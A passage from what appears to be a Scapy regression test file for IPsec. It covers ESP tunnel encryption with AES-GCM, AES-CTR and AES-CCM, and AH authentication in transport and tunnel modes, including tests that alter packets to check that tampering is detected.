crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-GCM - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-GCM - NULL -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n\n= IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n    \n#######################################\n\n= IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet - ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e, esn = 0x3)\n    assert False\nexcept IPSecIntegrityError as err:\n    err    \n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CTR - NULL - verify no cipher align padding\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= UDP(sport=1000, dport=1001)\np /= Raw(\"\\x00\" * 3)\np\nprint(\"len p: {}\".format(len(p)))\n\n# oiphdr esphdr iiphdr udphdr data esptail iv\n#   20  +  8   +  20  +  8   + 3   +  2   + 8 = 69\n# CipherInput: iiphdr udphdr data esptail\n#                20  +  8   + 3   +  2   = 33\n#   good: (33 % 4) == 1, pad == (4-1) == 3, len == 36+33+3 == 72\n#   bad: (33 % 16) == 1, pad == (16-1) == 15, len == 36+33+15 == 84\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\nprint(\"crypt_algo.icv_size {}\".format(sa.crypt_algo.icv_size))\nprint(\"auth_algo.icv_size {}\".format(sa.auth_algo.icv_size))\n\ne = sa.encrypt(p)\ne\nprint(\"len e: {}\".format(len(e)))\n\nesp = sa.crypt_algo.decrypt(sa, e[ESP], sa.crypt_key,\n                            sa.crypt_algo.icv_size or\n                            sa.auth_algo.icv_size,\n                            esn_en=sa.esn_en,\n                            esn=sa.esn)\nesp\nprint(\"len(esp.data): {}\".format(len(esp.data)))\n\n* after encryption packet should be padded for 4 byte alignment\nassert len(e) == 72 and esp.padlen == 3, \"bad length/padding {}/{}\".format(len(e), esp.padlen)\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-GCM - NULL - verify no cipher align padding\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= UDP(sport=1000, dport=1001)\np /= Raw(\"\\x00\" * 1418)\nprint(\"len p: {}\".format(len(p)))\n\n# oiphdr esphdr iiphdr udphdr data esptail iv icv\n#   20  +  8   +  20  +  8   +1418 + 2    +8 +16 = 1500\n# CipherInput: iiphdr udphdr data esptail\n#                20  +  8   +1418 + 2 = 1448\n#   good: (1448 % 4) == 0, pad == 0, len == 52+1448+0 == 1500\n#   bad: (1448 % 16) == 8, pad == (16-8) == 8, len == 52+1448+8 == 1508\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\nprint(\"len e: {}\".format(len(e)))\n\nesp = sa.crypt_algo.decrypt(sa, e[ESP], sa.crypt_key,\n                            sa.crypt_algo.icv_size or\n                            sa.auth_algo.icv_size,\n                            esn_en=sa.esn_en,\n                            esn=sa.esn)\nprint(\"len(esp.data): {}\".format(len(esp.data)))\n\n* after encryption packet should be padded for 4 byte alignment\nassert len(e) == 1500 and esp.padlen == 0, \"bad length/padding {}/{}\".format(len(e), esp.padlen)\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CCM - NULL\n~ crypto_advanced\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CCM - NULL\n~ crypto_advanced\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv4 / AH - Transport\n\n#######################################\n= IPv4 / AH - Transport - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before decryption\ne[TCP].sport = 5\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - SHA2-256-128\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - SHA2-256-128 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - SHA2-384-192\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - SHA2-384-192 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - SHA2-512-256\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - SHA2-512-256 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - HMAC-MD5-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - HMAC-MD5-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - AES-CMAC-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - AES-CMAC-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Transport - AES-CMAC-96 -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         esn_en=True, esn=0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Transport - AES-CMAC-96 - altered packet -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         esn_en=True, esn=0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an AH layer\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv4 / AH - Tunnel\n\n#######################################\n= IPv4 / AH - Tunnel - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-256-128\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-256-128 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-384-192\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-384-192 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-512-256\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - SHA2-512-256 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - HMAC-MD5-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert 